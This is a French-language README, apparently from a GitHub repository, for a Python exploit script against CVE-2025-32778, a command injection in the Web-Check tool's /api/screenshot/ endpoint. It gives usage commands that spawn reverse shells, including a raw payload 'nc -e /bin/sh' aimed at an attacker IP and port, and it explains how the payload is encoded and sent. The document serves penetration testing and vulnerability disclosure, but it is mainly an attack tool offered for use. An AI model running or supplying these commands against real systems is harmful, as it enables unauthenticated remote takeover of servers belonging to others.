CVE-2025-32778 - Exploitation d'injection de commandes Web-Check

Description

CVE-2025-32778 est une vulnérabilité critique d'injection de commandes dans l'outil OSINT Web-Check de Lissy93.
Elle permet à des attaquants non authentifiés d'exécuter des commandes système arbitraires via le paramètre url dans l'API de capture d'écran.

Ce script Python automatise l'exploitation et peut générer des shells inversés ou accepter des charges utiles personnalisées.

Avertissement

Testez uniquement sur des systèmes que vous possédez ou pour lesquels vous êtes autorisé à tester.
Toute utilisation non autorisée est illégale et contraire à l'éthique.

Fonctionnalités

Exploite l'injection de commande url dans Web-Check.
Prend en charge :
- Shell inversé avec --lhost et --lport.
- Shell personnalisé via --shell.
Normalisation d'URL.
Empêche la combinaison de --shell avec --lhost/--lport.

Prérequis

Python 3.x
Bibliothèque Requests :

pip install requests

Utilisation

git clone https://github.com/00xCanelo/CVE-2025-32778
cd CVE-2025-32778

Générer un shell inversé avec l'outil

python3 cve-2025-32778.py -u http://cible.com:3001/api/screenshot/ --lhost 10.10.10.1 --lport 4444

Charge utile de shell personnalisée (brute)

python3 cve-2025-32778.py -u http://cible.com:3001/api/screenshot/ --shell "nc -e /bin/sh 10.10.10.1 4444"

python3 cve-2025-32778.py -h

Comment ça fonctionne

Normalise l'URL cible en scheme://host[:port].
Prépare la charge utile :
- Génère un shell inversé en utilisant --lhost et --lport.
- Ou utilise une commande shell brute avec --shell.
Encode la charge utile du shell pour une injection sécurisée dans l'URL.
Envoie une requête HTTP GET vers /api/screenshot/ avec la charge utile.
Attend la connexion du shell inversé.

🧑‍💻 Auteur

00xCanelo
Profil GitHub

Références

Dépôt GitHub Web-Check – Projet original contenant le code vulnérable.
CVE-2025-32778 – Entrée CVE décrivant la vulnérabilité d'injection de commandes.

CVE-2025-32778

Populaires